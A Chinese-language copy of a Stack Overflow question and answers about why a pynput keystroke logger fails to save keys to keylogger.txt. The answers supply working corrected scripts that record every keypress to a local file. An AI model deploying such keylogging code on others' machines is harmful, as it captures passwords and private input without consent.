这个程序运行得很好,尽管它不会将我的击键保存到keylogger.txt中
from pynput.keyboard import Key, Listener
keys = []
count = 0
def key_pressed(key):
global keys, count
keys.append(key)
count += 1
print(key)
def write_to_file(keys):
with open("keylogger.txt", "a") as f:
for key in keys:
f.write(str(keys))
if count == 1:
count = 0
write_to_file(keys)
keys = []
with Listener(on_press=key_pressed) as listener:
listener.join()我的代码中的问题出在哪里?
发布于 2021-07-10 01:14:03
您的write_to_file代码永远不会运行。您更改了count的值,但不会再次运行write_to_file。在key_pressed块中放置一个write_to_file调用,这将会发生。
发布于 2021-07-10 01:19:02
我不能完全确定在你的代码中发生的“缓冲”,但我会这样做:
from pynput.keyboard import Key, Listener
def key_pressed(key):
print(key)
with open("keylogger.txt", "a") as f:
f.write(str(key) + "\n")
with Listener(on_press=key_pressed) as listener:
listener.join()代码中的if语句只执行一次,因此永远不会调用write_to_file函数。
发布于 2021-07-10 13:32:26
问题是代码的这一部分。
if count == 1:
count = 0
write_to_file(keys)
keys = []代码中的这个块永远不会运行。
如果您想使用与您的代码相同的格式,请使用此代码。但是在下面附加了一种更简单的方法
from pynput.keyboard import Key, Listener
keys = []
count = 0
def key_pressed(key):
global keys, count
keys.append(key)
count += 1
print(key)
if count == 1:
count = 0
write_to_file(keys)
keys = []
def write_to_file(keys):
with open("keylogger.txt", "a") as f:
for key in keys:
f.write(str(keys))
with Listener(on_press=key_pressed) as listener:
listener.join()同一个的另一个实现
from pynput.keyboard import Key, Listener
def key_pressed(key):
# Stop listener
if key == Key.esc:
return False
with open("keylogger.txt", "a") as f:
f.write(str(key))
with Listener(on_release=key_pressed) as listener:
listener.join()https://stackoverflow.com/questions/68320511
复制相似问题